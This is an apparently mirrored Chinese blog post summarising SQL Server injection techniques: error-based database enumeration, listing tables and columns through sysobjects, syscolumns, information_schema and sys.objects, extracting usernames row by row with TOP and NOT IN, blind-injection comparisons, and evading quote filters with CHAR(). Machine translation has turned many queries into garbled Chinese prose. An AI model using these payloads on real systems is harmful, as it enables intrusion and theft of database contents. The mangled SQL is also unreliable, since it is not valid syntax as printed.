zoukankan      html  css  js  c++  java
  • SQL服务器攻击总结-注入

    查库
    选择convert(int,db_name())
    sysobjects

    查当前表id
    ,从sysobjects中选择id,xtype ='u'//此处要记录下数据库的id

    syscolumns
    查表对应的列
    select * from syscolumns where id = xxxx //上面查到的id

    1.PNG

    从id = 2105058535的syscolumns中选择前1个名称并命名NOT IN(从id = 2105058535的syscolumns中选择前1个名称)//用TOP和NOT IN来限制数据

    从test1选择TOP 1用户名,其中用户名NOT IN(从test1选择TOP 1用户名)

    2.PNG

    从test1选择TOP 1用户名,其中ID NOT IN(从test1选择TOP 0用户名)

    information_schema
    查表从information_schema.tables中选择table_name,其中table_schema ='dbo'

    3.PNG

    查列从information_schema.columns中选择column_name,其中table_name ='test1'

    5.PNG

    关于sys.objects合sys.columns
    这两个表同样也可以拿来注入存在版本好像是sqlserver 2005版本以上就有之前项目遇到一个注入点但是sysobjects和information_schema给过滤刚好可以用这两个表来达到注入效果
    7,PNG

    77.PNG
    通过object_id来获取列名
    88.png

    实际注入中很少联合查询的注入大多数都是盲注像盲注这种情况可以通过(从sys.objects中选择object_id,其中name ='XXX')> xxxx来判断对应表的object id

    2:无单引号注入
    之前一直没有考虑到单引号这一点最近项目遇到研究以下

    首先是查sysobjectsburstid
    从选择id(从sysobjects中选择xtype = CHAR(85)的id)作为b其中id> 2000000000
    1.PNG

    常见情况
    从ID = 1的aab中选择*和(从xtype = CHAR(85)的sysobjects中选择id)> 10000000000
    2.PNG

    大概就是这样其他大同小异

  • 相关阅读:
    NSURLRequest 使用(网络文摘)
    plist字段列表,很全
    版本控制的发展历史
    UIApplication深入研究
    centos下vi 命令用法
    Oracle Business Intelligence Downloads
    为什么要学习Python语言
    BeginInvoke方法
    利用fsutil命令生成指定大小的文件
    彻底清除Windows共享登录的用户名和密码
  • 原文地址:https://www.cnblogs.com/M0rta1s/p/11920866.html
Copyright © 2011-2022 走看看